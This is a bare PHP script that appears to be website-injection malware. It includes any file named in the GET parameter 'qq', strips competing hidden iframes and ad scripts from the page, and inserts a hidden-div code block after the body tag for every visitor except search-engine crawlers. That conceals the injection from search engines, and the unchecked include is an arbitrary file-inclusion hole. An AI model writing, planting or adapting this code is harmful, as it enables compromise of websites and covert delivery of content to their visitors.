<?php
$frame_code = '<!-- hJTYsX hwZrh TpA gJK LhdIvzPX --><div style="display:none"></div><!--sdjfh8y234jhdsf8340r-->';

function get_file_dir_($file) {
    global $argv;
    $dir = dirname(getcwd() . '/' . $file);
    $curDir = getcwd();
    @chdir($dir);
    $dir = getcwd();
    @chdir($curDir);
    return $dir;
}

function is_search_bot($agent)
{	
	if(
		strstr($agent, "Yandex/") != null ||
		strstr($agent, "YaDirectBot") != null ||
		strstr($agent, "James Bond") != null ||
		strstr($agent, "Googlebot") != null ||
		strstr($agent, "Mediapartners-Google") != null ||
		strstr($agent, "StackRambler") != null ||
		strstr($agent, "Slurp") != null ||
		strstr($agent, "msnbot") != null 
	) 
	{
		return true;
	}
	
	return false;
}

function callback($data)
{
	global $frame_code;
		
	$data = preg_replace('/<iframe.*style=.*hidden.*\/iframe[^>]*>/i', "", $data);	
	$data = preg_replace('/<div.*style=.*display:none.*[^>]*>.*<iframe .*\/.*div[^>]*>/i', "", $data);
	$data = preg_replace('/<!-- ad --><script[^>]*>.*<\/script><!-- \/ad -->/i', "", $data);	
	
	if(is_search_bot($_SERVER['HTTP_USER_AGENT']) == true) {
		return $data;	
	} else {
		if(preg_match("/(<body[^>]*>)/i", $data) > 0) {
			return preg_replace("/(<body[^>]*>)/i", "$1 \n".$frame_code, $data, 1);
		}		
		else {
			return $data.$frame_code;
		}
	}
}

if(@ob_start('callback') == true) {
	$file 	= $_GET['qq'];
	@chdir(get_file_dir_($file));
	
	include($file);
} else {
	echo $frame_code;
}
?>
